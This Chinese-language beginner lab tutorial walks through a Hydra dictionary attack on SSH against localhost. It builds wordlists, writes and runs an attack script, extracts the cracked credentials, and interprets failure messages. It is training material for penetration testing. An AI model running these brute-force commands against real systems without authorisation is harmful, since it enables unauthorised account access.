使用 Hydra 对 SSH 进行字典攻击

HydraBeginner
立即练习

介绍

在本次实验中,你将学习如何使用强大的密码破解工具 Hydra 对 SSH 服务进行字典攻击。你将探索生成用户名和密码列表、配置攻击参数以及对 SSH 服务器执行有针对性的暴力破解尝试的过程。

本实验让你亲身体验 Hydra 的命令结构、输出解读和结果分析。你将练习验证输入文件、发起攻击,并在了解常见失败模式的同时识别成功的登录凭证。

加载用户名和密码列表

在这一步中,你将准备字典攻击所需的关键组件——用户名和密码列表。字典攻击的原理是系统地尝试预定义列表(字典)中的每个单词作为潜在的凭证。对于 SSH 攻击,我们需要两个单独的文件:一个包含可能的用户名,另一个包含可能的密码。

  1. 首先,导航到用于存储文件的项目目录。这样可以让所有文件井井有条:
cd ~/project
  1. 我们将使用简单的文本编辑器 nano 来创建用户名列表。文件名 usernames.txt 是常规用法,但你也可以使用其他名称:
nano usernames.txt
  1. 在 nano 编辑器中,输入系统可能使用的常见 SSH 用户名。每个用户名应单独占一行。这些是管理员可能使用的典型默认或常见用户名:
admin
root
user
test
guest
labex
  1. 在 nano 中保存文件:按 Ctrl+O(字母 O),然后按 Enter 确认文件名。按 Ctrl+X 退出 nano。这将使你回到命令行。

  2. 现在,使用相同的过程创建密码文件。像这样的弱密码在实际系统中出人意料地常见:

nano passwords.txt
  1. 输入这些常见密码,每行一个。注意,有些密码与我们的用户名相同——人们通常会对用户名和密码使用相同的字符串:
password
123456
admin
qwerty
letmein
labex
  1. 像之前一样保存并退出 nano(Ctrl+O,Enter,Ctrl+X)。

  2. 让我们验证文件是否正确创建。ls -l 命令用于显示文件是否存在,而 cat 命令用于显示文件内容。在继续之前,这是一项重要的质量检查:

ls -l usernames.txt passwords.txt
cat usernames.txt
cat passwords.txt

你应该会看到列出的两个文件及其大小,随后显示它们的内容。这些文件构成了我们字典攻击的基础——在接下来的步骤中,Hydra 将系统地尝试这些列表中的每个用户名/密码组合,对 SSH 服务器进行攻击。

为 SSH 字典攻击设置 Hydra

在这一步中,你将配置 Hydra,使用上一步创建的用户名和密码列表对 SSH 进行字典攻击。字典攻击是一种方法,Hydra 会系统地尝试你的词表中的所有可能组合,以找到有效的凭证。

  1. 首先,确保你处于存储项目文件的正确工作目录中:
cd ~/project

此命令将你的当前目录更改为我们要进行操作的项目文件夹。

  1. 通过检查 Hydra 的版本来验证其是否已安装:
hydra -v

你应该会看到显示已安装的 Hydra 版本的输出。这确认了 Hydra 已准备好使用,并有助于在后续出现问题时进行故障排除。

  1. 创建一个名为 target.txt 的目标文件,其中包含本地 SSH 服务器的 IP 地址:
echo "127.0.0.1" > target.txt

我们使用 127.0.0.1(本地主机)作为目标,因为在这个实验环境中,我们是在针对自己的机器进行测试。

  1. 了解用于 SSH 攻击的基本 Hydra 命令结构:
hydra -L <username_list> -P <password_list> <target> ssh

这显示了所需的最少参数:用户名列表(-L)、密码列表(-P)、目标 IP/主机名,以及我们要攻击的服务(ssh)。

  1. 使用你的文件准备实际的 Hydra 命令(但先不要运行):
hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh

其中:

  • -L 指定用户名列表文件(usernames.txt)
  • -P 指定密码列表文件(passwords.txt)
  • -t 4 设置并行连接的数量(4 个线程以加快测试速度)
  • -vV 启用详细输出,以便你可以查看攻击进度
  1. 将此命令保存到一个脚本文件中,以便在下一步执行:
echo 'hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh' > attack.sh
chmod +x attack.sh

创建脚本可以更轻松地重新运行攻击,并确保你不会输错命令。chmod 命令使脚本可执行。

  1. 在继续之前,验证所有必需的文件是否存在:
ls -l usernames.txt passwords.txt target.txt attack.sh

这最后的检查确认你拥有所有必要的文件:用户名列表、密码列表、目标文件和攻击脚本。

执行 SSH 字典攻击

在这一步中,你将使用之前步骤中准备好的配置来运行 Hydra SSH 字典攻击。Hydra 是一款流行的密码破解工具,它会系统地尝试针对 SSH 等服务使用不同的用户名和密码组合。

  1. 首先,确保你处于攻击脚本所在的正确工作目录中。这很重要,因为 Hydra 需要访问你的词表和配置文件:
cd ~/project
  1. 通过显示攻击脚本的内容来验证其是否准备就绪。这能让你在执行之前再次检查 Hydra 命令的参数:
cat attack.sh

你应该会看到我们之前准备的 Hydra 命令,其中包含正确的目标 IP、端口和词表路径。

  1. 在执行之前,确保 SSH 服务在本地主机上正在运行,因为我们是在针对自己的机器进行测试。Hydra 需要一个活跃的 SSH 服务来尝试建立连接:
sudo service ssh status

如果服务未运行,请使用以下命令启动它:

sudo service ssh start
  1. 执行攻击脚本。这将使用我们配置的所有参数启动 Hydra:
./attack.sh
  1. 实时观察攻击进度。Hydra 会提供实时反馈,显示:
  • 每次使用用户名/密码组合进行的连接尝试
  • 成功登录(找到时会高亮显示)
  • 失败的尝试(大部分输出)
  • 最终统计信息,包括成功率和所用时间
  1. 当找到凭证时,预期的输出将类似于以下内容:
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... done
[22][ssh] host: 127.0.0.1   login: labex   password: labex
1 of 1 target successfully completed, 1 valid password found
  1. 攻击将在以下条件下自动停止:
  • 当词表中的所有组合都已测试完毕
  • 当找到有效的凭证时(Hydra 的默认行为)
  • 如果你手动使用 Ctrl+C 中断
  1. 若要将结果保存到文件中以便后续分析,请重定向输出。这将创建所有尝试和结果的永久记录:
./attack.sh > attack_results.txt

查看成功登录结果

在这一步中,你将分析 SSH 字典攻击的结果,以识别成功的登录尝试。在进行安全测试时,在进行进一步分析之前,正确记录和验证你的发现至关重要。

  1. 首先,导航到存储你所有实验文件的项目目录:
cd ~/project
  1. 检查你是否保存了上一步的攻击结果。ls -l 命令会显示详细的文件信息,包括创建时间和权限:
ls -l attack_results.txt
  1. 如果你之前没有保存结果,现在运行此命令来生成它们。> 符号将 Hydra 的输出重定向到一个文本文件,以便后续分析:
./attack.sh > attack_results.txt
  1. 查看完整的攻击结果。cat 命令会在你的终端中显示文件的全部内容:
cat attack_results.txt
  1. 查找成功的登录记录,其格式将类似于以下内容。每次成功尝试包含三个关键信息:
[22][ssh] host: 127.0.0.1   login: labex   password: labex
  1. 要从可能很大的结果文件中仅提取成功的尝试,使用 grep 过滤包含 "login:" 的行。这在查看结果时可以节省时间:
grep "login:" attack_results.txt
  1. 输出格式显示了你验证所需的三个重要元素:
  • 目标 IP 地址 (127.0.0.1) —— 接受凭证的机器
  • 成功的用户名 (login) —— 有效的账户名
  • 有效的密码 —— 该账户匹配的密码
  1. 通过尝试 SSH 登录来验证凭证。这将确认这些凭证在真实的 SSH 会话中确实有效:
ssh labex@127.0.0.1

如果系统提示你接受主机密钥,请输入 "yes"(首次连接时会出现这种情况),然后在提示时输入密码。

  1. 成功登录后,正确退出 SSH 会话以返回到本地终端:
exit
  1. 为了提高可读性,使用此命令管道对结果进行格式化。awk 命令将输出重新组织为清晰的带标签字段:
grep "login:" attack_results.txt | awk '{print "Host:",$3,"| Username:",$5,"| Password:",$7}'

理解攻击失败消息

在这一步中,我们将检查 Hydra SSH 攻击的输出,以了解某些登录尝试失败的原因。分析这些失败信息对于评估系统漏洞的安全专业人员和完善攻击策略的渗透测试人员来说都至关重要。

  1. 首先,让我们导航到存储攻击结果的项目目录。这能确保我们处理的是正确的文件:
cd ~/project
  1. 现在,我们将查看完整的攻击结果文件。该文件包含了 Hydra 所有登录尝试的输出:
cat attack_results.txt
  1. 为了专门关注失败的尝试,我们将过滤掉成功的登录记录,并查找常见的错误模式。grep 命令有助于筛选出重要的失败信息:
grep -v "login:" attack_results.txt | grep -E "invalid|failed|error"
  1. 以下是你会遇到的最常见的失败信息及其实际含义:
  • invalid password:用户名正确,但密码不匹配
  • invalid user:目标系统上不存在该用户名
  • connection refused:目标上的 SSH 服务未运行
  • connection timeout:网络问题或防火墙阻止了访问
  • too many connections:目标检测到并阻止了快速登录尝试
  1. 让我们统计每种失败类型出现的次数。统计这些数据有助于了解攻击模式:
grep -c "invalid password" attack_results.txt
grep -c "invalid user" attack_results.txt
  1. 为了查看失败是否在特定时间发生(这可能表明存在速率限制),我们将提取并统计时间戳:
grep "invalid" attack_results.txt | awk '{print $1}' | uniq -c
  1. 现在,我们将创建一个简单的失败情况总结报告。这种有条理的视图有助于记录你的发现:
echo "Attack Failure Analysis" > failure_analysis.txt
echo "Invalid passwords: $(grep -c 'invalid password' attack_results.txt)" >> failure_analysis.txt
echo "Invalid users: $(grep -c 'invalid user' attack_results.txt)" >> failure_analysis.txt
cat failure_analysis.txt
  1. 为了进行更深入的调查,如果可以访问目标系统的 SSH 日志,我们可以查看这些日志。其中通常包含更详细的错误信息:
sudo grep 'sshd' /var/log/auth.log | tail -20

总结

在本次实验中,你学习了如何通过准备用户名和密码列表,使用 Hydra 对 SSH 进行字典攻击。该过程包括创建凭证文件、验证其内容,以及使用适当的标志(-L-P-t)来构建 Hydra 命令,以实施有效的攻击。

此外,你还探索了如何解读 Hydra 的输出,以识别成功的登录并分析攻击结果。本次实验展示了在 SSH 凭证攻击中,正确的文件准备、命令配置和系统测试的重要性。